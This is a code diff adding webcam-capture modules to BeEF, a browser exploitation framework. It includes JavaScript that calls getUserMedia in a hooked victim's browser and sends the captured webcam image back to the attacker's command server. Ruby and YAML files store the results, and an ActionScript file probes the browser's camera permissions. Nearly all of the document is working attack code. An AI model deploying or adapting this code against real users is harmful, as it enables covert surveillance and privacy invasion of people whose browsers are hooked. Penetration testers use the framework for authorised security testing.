+    $j('body').append(vid_el);
+    $j('body').append(can_el);
+
+    var ctx = can_el.getContext('2d');
+
+    var localMediaStream = null;
+
+    var cap = function() {
+        if (localMediaStream) {
+            ctx.drawImage(vid_el,0,0);
+            beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
+        } else {
+            beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong');
+        }
+    }
+
+    window.URL = window.URL || window.webkitURL;
+    navigator.getUserMedia  = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
+
+    navigator.getUserMedia({video:true},function(stream) {
+        vid_el.src = window.URL.createObjectURL(stream);
+        localMediaStream = stream;
+        setTimeout(cap,2000);
+
+    }, function(err) {
+        beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed');
+    });
+
+
+
+
+});
+
+
+
+
+

modules/browser/webcam_html5/config.yaml

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        webcam_html5:
+            enable: true
+            category: "Browser"
+            name: "Webcam HTML5"
+            description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam."
+            authors: ["xntrik"]
+            target:
+                 user_notify: ["C"]
+                 unknown: ["All"]

modules/browser/webcam_html5/module.rb

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+require 'base64'
+class Webcam_html5 < BeEF::Core::Command
+  
+	def post_execute 
+		content = {}
+		content["result"] = @datastore["result"] if not @datastore["result"].nil?
+    content["image"] = @datastore["image"] if not @datastore["image"].nil?
+		save content
+	end
+
+end

modules/browser/webcam_permission_check/cameraCheck.as

@@ -0,0 +1,54 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+// Source ActionScript for cameraCheck.swf
+package {
+
+    import flash.display.Sprite;
+    import flash.external.ExternalInterface;
+    import flash.media.Camera;
+    import flash.system.Security;
+    import flash.system.SecurityPanel;
+
+    public class CamCheck extends Sprite {
+
+        var _cam:Camera;
+
+        public function CamCheck() {
+
+            if (Camera.isSupported)     {
+                this._cam = Camera.getCamera();
+
+                if (!this._cam) {
+
+	                //Either the camera is not available or some other error has occured
+                    ExternalInterface.call("naPermissions");
+
+                } else if (this._cam.muted) {
+
+	                //The user has not allowed access to the camera
+                    ExternalInterface.call("noPermissions");
+
+                    // Uncomment this show the privacy/security settings window
+                    //Security.showSettings(SecurityPanel.PRIVACY);
+                } else {
+
+                    //The user has allowed access to the camera
+                    ExternalInterface.call("yesPermissions");
+                }
+
+            } else {
+
+                //Camera Not Supported
+                ExternalInterface.call("naPermissions");
+
+            }
+
+        }
+
+    }
+
+}